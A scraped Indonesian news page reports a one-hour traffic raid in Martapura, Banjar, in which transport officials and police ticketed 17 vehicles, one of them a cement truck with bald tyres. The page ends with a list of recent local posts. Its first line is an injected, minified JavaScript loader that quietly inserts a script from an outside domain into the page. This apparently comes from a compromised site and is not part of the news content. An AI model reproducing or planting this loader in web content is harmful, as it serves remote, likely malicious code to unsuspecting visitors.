(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Gara-gara Ban Gundul, Truk Angkutan Ini Kena Tilang


MARTAPURA, Dinas Perhubungan Kabupaten Banjar bekerja sama dengan Satuan Lalu Lintas Polres Banjar berhasil menjaring 17 angkutan dalam razia satu jam di A Yani Km 40, tepatnya di depan Pasar Batuah Martapura, Kamis (21/02) siang.

Kabid Angkutan dan Keselamatan Perhubungan Darat Dishub Banjar H Sahdiman, operasi rutin 2 bulan sekali ini melibatkan 36 orang porsenil gabungan dari Dishub Banjar dan Polres Banjar.

Razia yang dimulai pukul 10.00-11.00 Wita, Dishub Banjar mendapati sejumlah pelanggaran angkutan umum orang dan angkutan barang, diantaranya 9 buah angkutan barang yang KIR sudah kedaluarsa, 6 SIM sudah habis waktu, dan 2 kendaraan yang melanggar jalur lalu lintas.

Sahdiman mengatakan, kebanyakan angkutan yang terjaring diantaranya angkutan umum orang dari Hulu Sungai menuju Banjarmasin, ada juga truk dan tronton.

Sahdiman mengatakan razia digelar selama tiga hari berturut-turut, mulai Rabu 21 Februari dan berakhir 23 Februari.

“Razia ini menargetkan mobil-mobil angkutan, dan memeriksa kelengkapan kendaraan seperti surat keterangan angkut, KIR, trayek, izin kaca film hingga ban mobil angkutan yang sudah tidak layak pakai,” sebut Sahdiman.

Sahdiman menambahkan bagi mereka yang kedapatan melanggar aturan lalu lintas di jalan, akan dikenakan sanksi berupa tilang oleh aparat untuk diproses ke pengadilan.

“Kita langsung lakukan sanksi tindakan tegas yaitu penilangan kepada sopir yang melanggar,” ujarnya

Razia diharapkan akan membuat jera bagi pengendara angkutan umum orang dan angkutan barang supaya lebih disiplin. Sehingga tidak mengancam keselamatan orang lain  di jalan saat berlalu lintas agar aman dan nyaman.

Hariono, salah satu sopir tronton pengangkut semen, contoh pelanggar aturan di jalan yang kedapatan KIR angkutan barang sudah kedaluarsa, juga kondisi bannya sudah menggundul bahkan hampir robek harus terhenti di perjalanan.

“KIR-nya mati, ban mobil gundul dan hampir robek, jadi wajar saja kena tilang, karena memang saya bersalah,” akunya.

Malah ia berterima kasih kepada Dishub Banjar, yang sudah melakukan razia, sehingga memperkuatkan alasan agar ada penggantian ban baru dari pihak perusahaan pemilik mobil tronton yang dikemudikannya. “Sebelumnya saya sudah sering beberapakali meminta pergantian ban baru, tetapi tidak pernah disetujui oleh perusahaan,” pungkas Hariono. (rendy)

Reporter: Rendy
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.